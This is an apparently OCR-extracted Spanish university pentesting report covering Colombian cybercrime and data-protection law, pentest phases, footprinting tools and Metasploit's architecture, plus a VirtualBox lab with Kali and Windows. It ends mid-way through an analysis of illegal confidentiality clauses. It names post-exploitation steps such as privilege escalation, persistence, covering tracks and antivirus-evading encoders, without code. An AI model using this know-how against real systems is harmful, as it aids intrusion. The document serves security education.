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GLOSARIO

AMENAZA CIBERNETICA: Cualquier evento o actividad que tenga el potencial de
dafiar o comprometer la seguridad de sistemas o datos en linea.

ATAQUE CIBERNETICO: Un intento deliberado de acceder, dafiar o robar
informacion o recursos digitales de manera no autorizada.

CIBERSEGURIDAD: La practica de proteger sistemas, redes y datos digitales
contra ataques, dafios o0 accesos no autorizados.

DETENSION DE INTRUSIONES: La monitorizacion activa de las redes y sistemas
para identificar y responder a actividades sospechosas o maliciosas.

FIREWALL: Sistema de seguridad que controla el trafico de red y decide permitir o
bloquear cierta comunicacion basada en reglas de seguridad predefinidas.
SEGURIDAD DE LA INFORMACION: Conjunto de practicas y medidas para
proteger la confidencialidad, integridad y disponibilidad de la informacién.



RESUMEN

Este trabajo fomenta la mejora continua de la seguridad, mediante los equipos de
red team y blue team con ellos, se pretende implementar controles y politicas de
seguridad efectivas que ayuden a las organizaciones a mitigar y prevenir riesgos
informéticos.

En Colombia, se cuenta con una regulacion y legislacion que esta enfocada al
proceso de pruebas de penetracion y hacking ético, especialmente en el marco en
el marco del cogido de ética del colegio profesional nacional de ingenieros
(COPNIA).

Las pruebas de intrusion son una herramienta fundamental para evaluar la postura
de seguridad de una organizacion y garantizar que esté preparada para enfrentar
amenazas cibernéticas. Al proporcionar una vision realista de las debilidades,
permiten a las organizaciones tomar medidas proactivas para mejorar su seguridad
y proteger sus activos digitales.

La contencién de ataques informaticos es esencial para minimizar el dafio y
garantizar la continuidad de las operaciones de una organizacion. Una respuesta
rapida y efectiva a los incidentes cibernéticos es fundamental para proteger la
confidencialidad, integridad y disponibilidad de los datos y sistemas criticos.



1. INTRODUCCION

En un mundo cada vez mas globalizado y evolucionando rapidamente, la seguridad
informatica se ha convertido en una prioridad alta y a su vez critica, las
organizaciones enfrentan amenazas constantes de ataques cibernéticos que
colocan en riesgo su informacion.

La contencidn de ataques informaticos se ha convertido en un proceso
indispensable de la estrategia de ciberseguridad, disefiados para mitigar el dafio y
prevenir la propagacion de amenazas una vez que se infectado el sistema.

Adicionalmente, la ejecucion de pruebas de intrusion desempefia un papel
importante para los equipos de pruebas de intrusibn mas conocidos como Red
Team y Blue Team, ellos simulan ataques controlados y éticos contra sistemas de
informacion para identificar vulnerabilidades antes de que los ciberdelincuentes las
exploten. Este proceso proactivo permite a las organizaciones fortalecer sus
defensas y mitigar posibles amenazas.
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2. OBJETIVOS
2.1 OBJETIVO GENERAL

Proporcionar a la organizacién una visién respecto a su seguridad informéatica y
ayudar a priorizar medidas de mitigacion. A través de informes detallados, hallazgos
y recomendaciones para mejorar la seguridad, fortaleciendo sistemas y procesos
gue se anticipen a posibles amenazas y proteger los activos digitales de las
organizaciones.

2.2 OBJETIVOS ESPECIFICOS

Realizar simulacién controlada de una amenaza.
Conocer regulacion y aspectos legales Colombianos.
Ejecucion de pruebas de intrusion

Analizar procesos de seguridad para las organizaciones.
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3. CONCEPTOS EQUIPOS DE SEGURIDAD

3.1Actualmente en Colombia existen marcos regulatorios los cuales se enfocan no

solamente a ley de delitos informaticos sino a la proteccion de datos personales
los cuales deben ser asegurados por parte de organizaciones las cuales reanen
data de miles de personas. En este orden de ideas se requiere que defina de
forma general y con sus palabras qué menciona la ley 1273 de 2009 y definir
cada articulo; ademas deben explicar de manera general todo al respecto de la
ley 1581 de 2012. Para la ley 1581 de 2012 deben consultar el monto de las

multas correspondientes y la entidad que regula este tema en Colombia.
Tabla 1 LEY 1273 DE 2009

LEY 1273 DE 2009

El 05/01/2009 se define una ley contra delitos en la privacidad, honradez y
accesibilidad de los datos y los procedimientos informaticos. Permite avanzar
en el sanciona miento para los delitos informatico.

ARTICUL NOMBRE DESCRIPCION
o DEL
ARTICULO

269 A Acceso Toda persona que, sin autorizacion, impida o
abusivo a un interfiera en el normalingreso a un sistema
sistema informatico, a los datos que estén dentro de ellos
informatico y la red.

269 B Obstaculizaci Toda persona que, sin autorizacién, impida o
on ilegitima interfiera en el normalingreso a un sistema
de sistema informatico, a los datos que estén dentro de ellos
informatico o vy lared.
red de
telecomunica
ciones.

269 C Interceptaci6  Cualquier persona que, sin orden
n de datos judicial, obstaculice datos en su origen, destino
informaticos. o0 emita radiacion electromagnética desde un

sistema informético que transmita dichos datos.

269 D Dafio Cualquier persona sin autorizacion
informatico. perjudique, suprima, deteriore, perturbe o elimine

datos, procesamiento de informacibn o sus
componentes logicos

269 E Uso de Cualquier persona que fabrique, comercialice,
Software compre, distribuya, venda, envie,
malicioso. implemente o adquiera software malicioso u otros

programas informaticos dafiinos en el territorio del
pais sin permiso.
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269 F

269 G

269 H

269 |

Violacion de
datos
personales.

Suplantacion
de sitios web
para capturar
datos
personales.

Circunstanci
as de
agravacion
punitiva.

Hurtos por
medios
informaticos

y
semejantes.

El que venda, compra, almacene o utilice
claves personales, sin autorizacion de archivos,
base de datos o medio similar, para uso o un
beneficio de tercero.

Cualquier persona que cree, construya, aplique,
programe o envie paginas electrénicas o spam con
fines ilegales y sin permiso

Tendran el mismo castigo quienes cambien el
sistema de resolucion del dominio, obligando a los
usuarios a ingresaruna IP diferente cuando
crean que estan accediendo sitio web personal.

De conformidad con la ley, la pena
se aumentara de la mitad a las 3/4 partes si:
1.En una red o sistema informatico

local o extranjero, o en el sector publico u oficial de
comunicaciones o financiero.

2.Cuando el funcionario cumpla con su deber.
3.Explotar la confianza del titular de la informacion
o de la persona con quientenga una relacion
contractual.

4.Revelacion o divulgacion del contenido de la
informacion y perjuicio a los intereses de terceros.
5.Buscar beneficios para uno mismo o para otros.
6. Con fines de terrorismo o para crear un riesgo
para la seguridad o la defensa nacionales.

7.Uso de terceros de buena fe como herramientas.
8. Si quien realiza estas actuaciones tiene a su
cargo la gestion, administracion o control de dicha

informacion, la sancion es
también de privacion de los derechos de
la profesion relacionada

con los sistemas informaticos de informacién por
un periodo de hasta tres afios.

Quien exceda las medidas de
seguridad informatica, lo  estipulado en el
articulo 239, manipule los sistemas informaticos,
las redes de sistemas electronicos,
telematicos u otros medios analogos, o se haga
pasar por un usuario antes del establecimiento de
autenticacion y autorizacion, estara sujeto a las
sanciones especificado en este articulo.
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269 J Transferenci  Cualquier persona que utilice la manipulacion
a no informatica o medios similares con fines lucrativos
consentida sin consentimiento enajena bienes en perjuicio de
de activos. un tercero, salvo que tal accién sea considerada

un delito castigado con una pena mas grave.
Fuente 1 Ley 1273 de 2009 - Gestor Normativo. (s.f.). Inicio - Funcién Publica.
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34492#:.~:text=Por%20medio %2
0de%20la%20cual,las%20comunicaciones,%20entre%200tras%20disposiciones.

Tabla 2 LEY 1581 DE 2012

LEY 1581 DE 2012
Su objeto es que todas las personas puedan conocer, actualizar y corregir la
informacion almacenada en bases de datos o archivos.
CATEGORIA DESCRIPCION
GENERALIDADES Es laley que regula la proteccion de las personas a facultar
la informacion personal que es guardada en bases de datos
o archivos, asi como la actualizacién o rectificacion.

APLICACION Se aplica al tratamiento de datos personales realizados por
entidades publicas o privadas.
EXCLUSIONES e Base de datos o archivos mantenidos en un ambito

netamente persona o domestico.

e Base de datos para seguridad y defensa nacional, asi
como prevenir, control del lavado de activos y
financiamiento del terrorismo.

e Base de datos de inteligencia y contrainteligencia.

e Base de datos o archivos periodisticos y otros
contenidos editoriales.

e Base de datos reguladas por la ley 1266 de 2008
“datos financieros y crediticios”

e Bases de datos del DANE.
ASPECTOS e Legalidad.
RELEVANTES e Finalidad.

e Libertad.

e Veracidad o Calidad.

e Transparencia.

e Acceso y circulacion restringida.

e Seguridad.

e Confidencialidad.
CATEGORIA e Datos sensibles
ESPECIAL DE e Datos personales de menores de edad
DATOS
MULTAS O e Multas de caracter personal e institucional hasta por
SANCIONES 2000 SMLMV.
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e Suspension de las actividades relacionadas con el
tratamiento hasta por 6 meses.

o Cierre temporal de las operaciones relacionadas con
el tratamiento una vez transcurrido el termino de
suspension.

e Cierre inmediato y definitivo de la operacion que
involucre el tratamiento de datos sensibles.

ENTE Superintendencia de Industria y Comercio
REGULADOR
Fuente 2 Ley 1581 de 2012 - Gestor Normativo. (s.f.). Inicio - Funciéon Publica.

https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=49981

3.2 El pentesting es un proceso de gran vitalidad en el campo de la ciberseguridad,
por este motivo usted debe definir cada etapa del pentesting, pero tiene que
especificar con mayor detalle la etapa de footprinting, de qué trata esta etapa,
¢qué aplicaciones (Opensource y pagas) podria utilizar para este proceso? ¢Y
por qué piensa que es una de las etapas mas importantes dentro del pentesting?

Tabla 3 FASES DEL PESTESTING

FASES DEL PENTESTING
Las pruebas de penetraciéon identifican de forma proactiva las
vulnerabilidades de seguridad que son mas faciles de explotar antes
gue los piratas informaticos. Sin embargo, la intrusion es solo una parte del
proceso de penetracién. A continuacién, describo las 6 fases que presenta.

FASES DEL DESCRIPCION DE LA FASE
PENTESTING
RECONOCIMIENT Recopilar toda la informacion publica sobre el objetivo.
O Puede realizar una identificacién activa, una identificacion

pasiva o una combinacion de ambas.

e Reconocimiento pasivo: no deja rastro de que se
esta recopilando informacién sobre el objetivo.

e Reconocimiento activo: puede dejar algunos rastros
digitales porque interactia directamente con el
objetivo del analisis.

ESCANEO Después de recopilartoda la informacion disponible
publicamente sobre el sistema de destino, el siguiente paso
en la prueba de penetracion es  realizarun  analisis
de vulnerabilidad completo. Esto se puede hacer
escaneando con la herramienta Nmap, que solo se puede
usar con la autorizacion del sistema que se esta auditando.

OBTENCION DE Un exploit es un software

ACCESO disefiado especificamente para aprovechar un error inform
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atico. Después de ejecutar un exploit (0 una serie de

exploits),
MANTENIMIENTO Si la funcionalidad del malware se interrumpe cuando la
DEL ACCESO victima apaga la computadora, el acceso al sistema es
inatil.
BORRADO DE Después desimularun  ataque  cibernético, es
HUELLAS imperativo eliminar toda evidencia que pueda revelar la

identidad del atacante, ya que esto eslo que harian los
piratas informaticos malintencionados en situaciones de la

vida real.
ELABORACION La redaccion de informes es una tarea que los expertos
DEL REPORTE en seguridad cibernética a menudo tienen que realizar

porque el propdsito original de las pruebas de penetracion
es detectar y comunicar las amenazas que se encuentran

en los sistemas informaticos.
Fuente 3 Fases de un pentest | KeepCoding Bootcamps. (s.f.). KeepCoding Bootcamps.
https://keepcoding.io/blog/fases-de-un-pentest-ciberseguridad/

ETAPA DE FOOTPRINTING!: Es la forma de recopilaciéon de informacion, implica
buscar informacion publica sobre el objetivo, pero no interactuar con él, para
no dejar huellas de indagacion.

Estos datos son publicos y las practicas realizadas en buscadores, redes sociales
y paginas web. De esta forma, los investigadores o atacantes ni siquiera necesitan
abrir el dominio web de la empresa investigada para obtener los datos sobre esa
empresa y ampliar la superficie de ataque.

A medida que se vuelve mas facil recopilar datos especificos, el atagque también
sale a la superficie; especialmente si el footprinting no dejan evidencia de que
alguien esté espiando el sistema.

Presenta dos tipos de footprinting a continuacion lo describiremos:

e FOOTPRINTING ACTIVO: Este es un método de uso de herramientas para
analizar en profundidad los datos del dominio de la red, con fines maliciosos
o de defensa de la red. Un ejemplo de estas herramientas es el protocolo
WHOIS.

1 :Qué es footprinting? | KeepCoding Bootcamps. (s.f.). KeepCoding Bootcamps. https://keepcoding.io/blog/que-es-
footprinting-cibersequridad/
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e FOOTPRINTING PASIVO: Es un método que no utiliza herramientas, sino
que utiliza redes sociales y motores de busqueda, para recopilar informacion
sobre un objetivo.

PROTOCOLO WHOIS: Es un protocolo para consultar en bases de datos y
recuperar informacion sobre dominio web. Proporciona datos como el nombre del
propietario del dominio, la fecha de creacién y fecha de vencimiento. Sin embargo,
también protege informacién, como la geolocalizacion, por motivos de privacidad.

APLICACIONES (OPENSOURCE Y PAGAS)?: Entre ellas encontramos las
siguientes aplicaciones:

¢ Whois: Con esta aplicacion logramos obtener informacién parecida sobre el
dominio de la web.

e Harvester: Esta herramienta es responsable de las busquedas de correos
electronicos en motores de busqueda como Google.

e Whatweb: Mediante esta herramienta podemos obtener informacién de
Whois sobre su nombre de dominio, a que direccion de correo electronico se
le asigno.

e Dnsenum: Mediante Con esta aplicacién logramos obtener informacion del
DNS.

e WPScan: Si el sitio escaneado se basa en WordPress, esta aplicacion
mostrara las vulnerabilidades del sitio.

e Uniscan: Este es un escéaner de vulnerabilidades web con opciones para el
detectar afectaciones e informacion del servidor.

3.3 Metasploit es quizas una de las herramientas de importancia en el campo de la
seguridad; algunos hackers expertos desarrollan sus propios frameworks, otros
deciden utilizar frameworks existentes, por ello su trabajo en este apartado es
buscar el funcionamiento, arquitectura y opciones que trae Metasploit el cual se
encuentra disponible desde Kali Linux.

Tabla 4 METASPLOIT

METASPLOIT DESCRIPCION

QUE ES Es un marco de codigo abierto basado en Ruby que utilizan
los profesionales de la seguridad de la informacion y los
ciberdelincuentes para encontrar, explotar y validar las
vulnerabilidades del sistema.

2 Footprinting basico con Kali Linux | Francisco Molina. (s.f.). Francisco Molina | Ingeniero en Conectividad y
Redes. https://www.franciscomolina.cl/footprinting-basico-con-kali-linux/

19


https://www.franciscomolina.cl/footprinting-basico-con-kali-linux/

COMO La arquitectura de Metasploit Framework consta de las
FUNCIONA siguientes partes:

MSFConsole (Metasploit Framework Console): la
interfaz Metasploit més utilizada, la consola Metasploit
permite a los usuarios acceder a Metasploit Framework
a través de una interfaz de linea de comandos
interactiva.

MSFWeb: una interfaz basada en navegador que
permite a los usuarios acceder al marco de Metasploit.
Armitage: desarrollado por Raphael Mudge en 2013,
Armitage es una interfaz grafica de usuario basada en
Java que permite a los equipos de seguridad colaborar
compartiendo su acceso a hosts comprometidos.

RPC (llamada a procedimiento remoto): permite a los
usuarios manejar mediante programacion Metasploit
Framework utilizando servicios de Illamada a
procedimiento remoto (RPC) basados en HTTP.
Ademas del Ruby nativo de Metasploit, los servicios
RPC pueden operar a través de otros lenguajes, como
Java, Pythony C.

MODULOS Hay cinco tipos principales de mddulos de Metasploit,
clasificados segun las tareas que realizan:

Cargas utiles: las cargas utiles son codigos de shell que
realizan las acciones previstas por el usuario una vez
gue un exploit ha comprometido un sistema objetivo. Se
pueden usar para abrir Meterpreters o comandos de
shells. Los Meterpreters son cargas Utiles sofisticadas
gue se utilizan durante un ciberataque para ejecutar
codigo y realizar mas tareas exploratorias.

Exploits: ejecuta secuencias de comandos para
aprovechar las debilidades del sistema o de la
aplicacién y obtener acceso a los sistemas de destino.
Publicaciones (mdédulos posteriores a la explotacion):
las publicaciones permiten a los usuarios realizar una
recopilacion de informacion mas profunda e infiltrarse
aun mas en un sistema de destino después de la
explotacién. Por ejemplo, las publicaciones se pueden
utilizar para realizar la enumeracion de servicios.
Codificadores: los codificadores ocultan las cargas
Gtiles en transito para garantizar que se entreguen
correctamente al sistema de destino y eviten la
deteccion del software antivirus, los sistemas de
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deteccion de intrusiones (IDS) y los sistemas de
prevencién de intrusiones (IPS).

e NOP (No Operation): los generadores NOP crean
secuencias aleatorias de bytes para evitar los sistemas
de deteccion y prevencién de intrusiones.

e Auxiliares: los modulos auxiliares incluyen escaneo de
vulnerabilidades, escaneo de puertos, fuzzers, sniffers
y otras herramientas de explotacion.

USoOS e Recopilacion de informacion: mediante el uso de
maédulos auxiliares: portscan / syn, portscan / tcp, srnb
version, db nmap, scanner / ftp / ftp_version y collect /
shodan_search.

e Enumeracion: utilizando enumshares smb / srnb,
enumusers smb / srnb y smb / srnb_login.

e Obtener acceso: mediante el uso de exploits y cargas
utiles de Metasploit.

e Escalada de privilegios: mediante el uso de
meterpreter-use priv y meterpreter-getsystem.

« Mantener el acceso: mediante meterpreter, ejecuta la
persistencia.

e Cubriendo pistas: mediante el uso de modulos anti-
forenses posteriores a la explotacion.

Fuente 4 cibersegl1922. (2021b, 13 de diciembre). (Qué es Metasploit Framework y como funciona? |
Ciberseguridad. Ciberseguridad. https://ciberseguridad.com/herramientas/pruebas-
penetracion/metasploit-framework/

Al momento de buscar vulnerabilidades para que estas sean explotadas por medio
de algun Metasploit los expertos en ciberseguridad requieren comprender qué es
un CVE y si este contiene algun exploit para explotar la vulnerabilidad encontrada.
Dentro del proceso descrito en este apartado usted como experto en cibserguridad
debe buscar y documentar lo siguiente:

¢QUE ES UN CVE Y SU ESTRUCTURA?: Es una Base de vulnerabilidades y
exhibiciones de seguridad de la informacién divulgadas publicamente.

CVE fue lanzado en 1999 por la corporacion MITRE para identificar y categorizar
vulnerabilidades en software y firmware. CVE suministra un diccionario gratuito
para que mejoren su seguridad cibernética.®

3 ciberseg1922. (2021, 11 de octubre). ;Qué es CVE? Explicacién de vulnerabilidades y exposiciones comunes.
Ciberseguridad. https://ciberseguridad.com/herramientas/marco-mitre-att-ck/cve-vulnerabilidades-exposiciones-comunes/
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Figura 1 ESTRUCTURA DE CVE

= CVE - Common
= Vulnerabilities and Exposures

CVE-2013-7518

Fuente 5 CVE. (s.f.). Securizando. https://securizando.com/cve/

3.4¢,QUE ES EXPLOIT-DB Y COMO SE UTILIZA Y COMO SE ARTICULA CON EL
CVE?

EXPLOITDB“: Es una base de datos que recopila exploits de debilidades conocidas
de una base de datos publica y envios de usuarios. Los evaluadores de penetracion
de todo el mundo pueden ver, descargar, y utilizar estas vulnerabilidades de forma
gratuita.

Anexo 1 - Escenario 1

Este anexo tiene la finalidad de brindar una guia para la identificacién del analisis y
configuracion del banco de trabajo.

3.5 SITUACION PROBLEMA: MONTAJE BANCO DE TRABAJO

HackerHouse requiere previamente una instalacion de un banco de trabajo. Para
este banco de trabajo se debe tener en cuenta los siguientes aspectos:

e Paso A: Descargar la herramienta virtualizadora “VirtualBox” en su ultima
version.

Se procede a realizar la descarga de la herramienta de virtualizacion de virtual box,
lo hacemos en la URL https://www.virtualbox.org/wiki/Downloads

4 £ Qué es ExploitDB? | KeepCoding Bootcamps. (s.f.). KeepCoding Bootcamps. https://keepcoding.io/blog/que-es-exploitdb/
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Figura 2 Descarga de Herramienta

Download VirtualBox

ou will find links to VirtualBox binaries and its source code.

@ VirtualBox

VirtualBox binaries
8

VirtualBox 7.0.10 platform packages

Fuente: Imirida Mora Nifio

Vamos a la carpeta de descargas en nuestro equipo y vamos a encontrar el

archivo descargado para ejecutarlo.
Figura 3 Carpeta Descargas

Fuente: Imirida Mora Nifio

Después de esto empieza su instalacion como lo muestra la imagen.

Figura 4 Inicializacion de Instalacion

Windows Installer

_iEl Preparing to install ..
(=
=3

Cancel

Fuente: Imirida Mora Nifio

Nos muestra las opciones o componentes que se ejecutaran con la instalacion.
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Figura 5 Componentes.

15 Oracle VM VirtualBox 7.0.2 Setup x

Custom Setup
Select the way you want features to be installed.

Click on the icons in the tree below to change the way features wil be installed.

VirtualBox Application
= -| VirtualBox USE Support
ox Networking
- =3 + | VirtualBox Bridge:
: = +| virtualBox Host-C
.. &3 - VirtualBox Python Suppo
< >

Oradle VM VirtualBox 7.0.2
application.

B
ialB

This feature requires 208MB on
your hard drive. Ithas 3 of 3
subfeatures selected. The
subfeatures require 1000KB on y...

Location:  C:\Program Files\Orade\VirtualBox Browse

Version 7.0.2 Disk Lsage <Back Cancel

Fuente: Imirida Mora Nifio

Le damos clic en todas las opciones de Next hasta que empiece su instalacion
como no lo muestra la siguiente imagen.

Figura 6 Instalacion de Virtual Box.

12 Oracle VM VirtualBox 7.0.2 Setup - X

Oracle VM VirtualBox 7.0.2

Please wait while the Setup Wizard installs Orace VM VirtualBox 7.0.2, This may
take several minutes.

Status: Copying new files
I

Version 7.0.2 < Back Next >

Fuente: Imirida Mora Nifio

Le damos Clic en la opcion de finalizar para terminar el proceso de instalacion.
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Figura 7 Finalizacién.

# Oracle VM VirtualBox 7.0.2 Setup

" Oracle VM VirtualBox 7.0.2
w ' installation is complete.

Click the Finish button to exit the Setup Wizard.

Start Oracle VM VirtualBox 7.0.2 after installation

Version 7.0.2 < Back Cancel

Fuente: Imirida Mora Nifio

Después nos invita a su entorno grafico para comenzar a crear nuestras maquinas
virtuales, dentro de virtual box, alli diligenciamos el formulario con lo datos que nos
pide, adicionamos la imagen ISO o la maquina virtual ya descargada y lista para el

funcionamiento.
Figura 8 Interfaz Gréfica.

W Crear maquina virtual 7 X

Nombre:

Carpeta: ™ C:\Users\lanus\VirtuaiBox VMs

Imagen 1S0:  <no

[

Modo quiade  Anterir Terminar

Fuente: Imirida Mora Nifio

e Paso B: maquinas virtuales, una con Kali Linux Y Windows 10

Para el paso B se realiza la instalacion de dos maquinas virtuales la primera con
sistema operativo de Kali Linux y la segunda con Windows Home.

3.5.1. INSTALACION KALI LINUX:
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Para este proceso, yo ya tenia instalado una maquina virtual el cual presenta un
sistema operativo de Debian de 64 bits, con una memora base de 2048 MB

Figura 9 Caracteristicas de Kali Linux.

Nombre: IMRIDA
: Debian (54-bit)

Inhabiliado

dario 0:  [Unidad éptica] Vacio
IMIRIDA. vdi (Normal, 20,00 GB)

Controlader de anfitrién: ~ Predeterminade

Controladior: 1CH ACS7

& Red

Adaptador 1: Intel PRO/1000 MT Desktop (Adaptador puente, <Realtek PCle GbE Family Controller»)
£ usB

Controlader USB: OHCI, EHCL
Filtros de dispositivos: 0 (0 activa)

[[] Carpetas compartidas
Ninguno

&) Descripcién

Ninguno

Fuente: Imirida Mora Nifio

Cuando encendemos la maquina Kali Linux, nos muestra el siguiente entorno.

Figura 10 Inicializacion de Kali Linux.

Kali GNU/

Advanced op Kali GNU/Linux

AT INGR

Booting

Fuente: Imirida Mora Nifio

Debemos ingresar al entorno con el usuario y contrasefia configurada en el
momento de la parametrizacién el Usuario es: imoran este usuario se da por mi
correo institucional y mi usuario de campus virtual.
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Figura 11 Acceso a Kali Linux.

IMORAN = latam f 09ago,13:00 &

imoran

Fuente: Imirida Mora Nifio

Aqui después del inicio de sesidn, €l nos lleva al escritorio de Kali Linux, listo para
su funcionamiento y realizar la practica o validaciones correspondientes.

Figura 12 Escritorio de Linux.

HALINEINUN

"the quieter you become, the more you are able to hear"

Fuente: Imirida Mora Nifio

3.5.2. INSTALACION WINDOWS:

Vamos a la carpeta de descargas en nuestro equipo y vamos a encontrar el archivo
de imagen I1SO para Windows.
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Figura 13 Descarga de Imagen Iso.

» Descargas

Nombre Fecha de modificacion ~ Tipo Tamafio
hay

v al principio de esta semana

D Windows.iso 7/08/2023 8:21 p. m. WinRAR 473.072KB

Fuente: Imirida Mora NifiO

Procedemos a ingresar a nuestro virtual Box para crear la maquina virtual, asi que
le damos clic en la opcién de crear maquina virtual y realizamos la configuracion.

Figura 14 Creacion de Windows

s wosoguet | (o | conce

Fuente: Imirida Mora Nifio

Como memoria para esta maquina ejecute su funcionamiento deje 2048 MB como
lo muestra la imagen.

Figura 15 Memoria Base

2058 MB[S

s192MB

Chipset: PIX3
& o o

[ corpetas compartias Dispositivo apuntacor: Tableta USB ~

] nterterceusuario Caracteristicas extendidas: (@ Habilitar 1/0 APIC

() Habiltar reloj hardware en tiempo UTC

Fuente: Imirida Mora Nifio
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Después de esto se realiza la configuracion del sistema operativo de Windows,
dentro de la herramienta de virtualizacion.

Figura 16 Configuracién de Windows

4 Programa de configuracién de Windows

(=] & =

== Windows®

Fuente: Imirida Mora Nifio

En la siguiente imagen se evidencia que el sistema operativo que vamos a utilizar

es un Windows 10 Home y damos clic en la imagen de siguiente para continuar con
su instalacion.

Figura 17 Seleccién de Windows

@ #% Programa de instalacién de Windows

cionar el sistema operativo que quieres instalar

Windows 10 Education
Windows 10 Education N
Windows 10 Pro
Windows 10 Pro N

£ 05/05/2023
64 05/05/2023
64 05/05/2023
64 05/05/2023

Descripcion:

[ siguiente

Fuente: Imirida Mora Nifio

Y se realiza el proceso de Instalacion de Windows segun cada componente como
lo muestra la siguiente imagen.
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Figura 18 Instalacion de Windows.

#G Programa de instalacién de Windows

Instalando Windows

nstalacion (0%)

Fuente: Imirida Mora Nifio

Después de terminar la instalacion, nos muestra una pantalla la cual comienza a
cargar las configuraciones para dirigirnos al escritorio de Windows.

Figura 19 Pantalla de configuracion

Fuente: Imirida Mora Nifio

Al terminar la preparacion del entorno grafico, nos pide configurar una cuenta de
Microsoft para esta, la configure con mi correo electrénico y contrasefia que ya
tengo asignada en mi maquina fisica.

Figura 20 Cuenta Microsoft.

Fuente: Imirida Mora Nifo

Después de ingresar la contrasefia, nos envia al escrito de Windows para empezar
a realizar la practica deseada.
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Figura 21 Escritorio Windows.

AL B N

Fuente: Imirida Mora Nifio

5 o
B ~o0uw 20 m

3.5.3. CARACTERISTICAS TECNICAS DE HARDWARE.

Se dara a conocer las caracteristicas técnicas de cada hardware desde la maquina
fisica hasta las maquinas virtuales.

MAQUINA FISICA: Con sistema operativo Windows 11 Pro.

Figura 22 Windows 11 Pro.

B CAWINDOWS\system32\CMD.exe

~3861 Mhz
21

Fuente: Imirida Mora Nifio

MAQUINA VIRTUAL KALI LINUX: Sistema operativo Debia de 64 Bits.
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Figura 23 Debian - Kali Linux

=] General

Nombre: IMIRIDA

Sistema operativo: Debian (54-bit)

[®] Sistema

Memoria base: 2048 MB

Orden de arranque:  Optica, Disco duro
Aceleracin: Paginacién anidada, Paravirtualizacién KVM
™) pantalla

Memoria de video: 15 VB
Controlador grafica: VMSVEA
Servidor de escritoria remoto:  Inhabiitado
Grabacidn Inhabiitado

Almacenamiento

Controlador: IDE
Dispositivo IDE secundario 0:  [Unidad dptica] Vacio
Conirolador: SATA

Puerto SATA 0: IMIRIDA.vel (Normal, 20,00 GE)
{0 Audio
Controlador de anfitrién:  Predeterminada
Controlador: 1ICH AC97
= Red
Adaptador 1: Intel PRO/1000 MT Desktop (Adaptador puente, «Realtek PCle GbE Family Controller=)
£ usB
Controlador USE: OHCI, EHCT

Fitros de dispositivos: 0 {0 activo)
[C] carpetas compartidas
Ninguno

& pescripcién

Ninguno

Fuente: Imirida Mora Nifio

MAQUINA VIRTUAL WINDOWS: Con sistema operativo Windows 10 Home.

Figura 24 Windows 10 Home.

B C:\Windows\system32\cmd.exe

s\imimc

Fuente: Imirida Mora Nifio

« Paso C: Debe validar que exista comunicacién entre cada una de las
maquinas Windows y Kali Linux.

Para desarrollar este paso, lo primero que debemos realizar la desactivacion de
todo el sistema de defensa de nuestra maquina virtual Windows, para cuando
hagamos el ping de conectividad no nos genere acceso denegado para la
conectividad.
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Figura 25 Desactivacion de Proteccion

Sepurtad de W
< H
Configuracién de
- % antivirus y proteccion Tienes alguna pregunts?
erenar ayuca

@ nicio contra amenazas

Mic

@ Rentimisoto y estada del disposiive

A Opciomes de familia

@) Desactvat

Proteccion basada en la nube

- _ 1838
LS. cGenw s ., B

0 muscer “g} Ho®
Fuente: Imirida Mora Nifio

Validamos que todo el sistema de seguridad se encuentre abajo o apagado
respecto al Firewall de Windows.

Figura 26 Desactivacion de Firewall.

Sepuridd de Woden
€ .
#@ Red de dominio
- Redes del trabajo que estén unidas 3 un dominio, (Tienes alguna pregunta?
@ o
¥ cantra amenazas Redes de daminio activas

Mo conertada

@ Confguracion I
B O b e a we ~Gepus "R
Fuente: Imirida Mora Nifio

Entonces después de esto debemos conocer nuestras IPS en cada una de las
maquinas. Para validar estas IPS lo realizaremos mediante comandos.

En Windows abrimos el CDM y utilizamos el comando IPCONFIG, el cual nos
arrojara la informacion necesaria de nuestra ip como lo muestra la siguiente
figura 27 la ip de nuestra maquina virtual Windows es 192.168.10.7.

33



Figura 27 IP 192.168.10.07 en Windows.

Fuente: Imirida Mora Nifio

e En Kali utilizamos el comando IFCONFIG, el cual nos arrojara la informacién
necesaria de nuestra ip como lo muestra la siguiente figura 28 la ip de nuestra
maquina virtual Kali es 192.168.10.6.

Figura 28 IP 192.168.10.06 en Kali

collisions 0

Fuente: Imirida Mora Nifio

Utilizaremos el comando PING + IP las cuales nos mostraron las figuras 27 y 28,
para realizar la conexién desde Windows a Kali y de Kali a Windows.

e En nuestra figura 29 ar realizar el Ping, nos muestra conectividad a la IP
192.168.10.6 con 32 bytes de datos con 4 paquetes enviados, 4 recibidos y

0 perdidos.
Figura 29 PING desde Windows

Fuente: Imirida Mora Nifio
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e Enlafigura 30 se realiza el ping desde la maquina de Kali Linux a Windows,
utilizando la IP 192.168.10.7 donde el tiempo de ejecucion es constante.

Figura 30 PING desde Kali

Fuente: Imirida Mora Nifio

4. ACTUACION ETICA Y LEGAL

4.1 ¢Qué parrafos cree usted que se tornan ilegales dentro del acuerdo de
confidencialidad?

Para el desarrollo de esta actividad debemos realizar las lecturas correspondientes
del anexo 2 y anexo 3, los cuales nos van a brindar los pardmetros necesarios para
determinar que procesos son ilegales dentro de las condiciones que se dan para la
vacante ofrecida por parte de la organizacion HACKERHOUSE

Tabla 5 ANALISIS ANEXO 2 Y ANEXO 3

ANEXO 2 ANALISIS LEGAL DE
HACKERHOUSE
Acuerdo de confidencialidad firmado por un | Este contrato de confidencialidad
abogado que lo despidieron por procesos | sigue vigente a pesar de que la
ilegales. persona creadora fue despedida
por procesos ilegales y aun asi
siguen ejecutando contrataciones
con este acuerdo.
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Recursos Humanos no reviso los acuerdos
de confidencialidad con el personal nuevo.

RRHH vy la alta gerencia no revisa
dicho acuerdo y aun asi contratan
con él a sus nuevos empleados.

CONSIDERACIONES

DEL ANEXO 3

Primera. Objeto: en virtud del presente acuerdo de
confidencialidad, |a parte receptora, se obliga a no divulgar directa,
indirecta, préoxima a remotamente, ni a través de ninguna otra persona
o de sus subalternos o funcionarios, @utoridades legales, asesores o
cualquier persona relacionada con ella, la informacién confidencial
o sobre procesos ilegales dentro de HackerHouse no podrdn ser
divulgados.

Se torna ilegal esta clausula debido
a que obliga a NO divulgar ante
ninguna  autoridad legal la
informacion confidencial o sobre
procesos ilegales que se estan
dando dentro de la compaiiia,
previniendo que se puedan tomar
medidas correctivas a procesos
fraudulentos.

Cualquier informacién societaria, técnica, juridica, financiera,
comercial, de mercado, estratégica, de productos, nuevas
tecnologias, patentes, modelos de utilidad, disefios industriales,
